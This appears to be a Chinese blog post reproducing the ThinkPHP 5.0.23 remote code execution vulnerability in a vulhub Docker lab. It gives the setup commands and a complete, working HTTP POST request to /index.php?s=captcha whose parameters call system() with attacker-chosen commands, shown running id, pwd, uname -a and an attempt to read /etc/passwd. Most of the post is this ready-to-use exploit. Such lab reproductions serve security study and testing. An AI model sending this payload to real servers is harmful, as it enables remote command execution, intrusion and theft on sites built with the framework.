Thinkphp 5.0.23 远程代码执行漏洞
漏洞简介
ThinkPHP是一款运用极广的PHP开发框架。
在ThinkPHP 5.0.23以前的版本中,获取method的方法中没有正确处理方法名,导致攻击者可以调用Request类任意方法并构造利用链,从而导致远程代码执行漏洞。
漏洞复现
开启vulhub靶场环境,确保 ThinkPHP 正常运行
cd vulhub-master/thinkphp/5.0.23-rce docker-compose up -d docker ps -a docker logs a355 #替换成你的容器名称
浏览器访问http://192.168.8.139:8080/
刷新页面,然后开启抓包。
更改以下请求包内容,以构造恶意playload:
传参方式由GET
改为POST
URL的/
改为/index.php?s=captch
传入参数为_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=id
命令id
执行成功,
命令pwd
和 cat /etc/passed
也执行成功。
注:其它请求头参数也需修改,否则无法执行成功。以下是完整的请求头信息:
POST /index.php?s=captcha HTTP/1.1 Host: 192.168.8.139:8080 Accept-Encoding: gzip, deflate Accept: */* Accept-Language: en User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0) Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 78 _method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=uname -a
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· TypeScript + Deepseek 打造卜卦网站:技术与玄学的结合
· 阿里巴巴 QwQ-32B真的超越了 DeepSeek R-1吗?
· 【译】Visual Studio 中新的强大生产力特性
· 【设计模式】告别冗长if-else语句:使用策略模式优化代码结构
· 10年+ .NET Coder 心语 ── 封装的思维:从隐藏、稳定开始理解其本质意义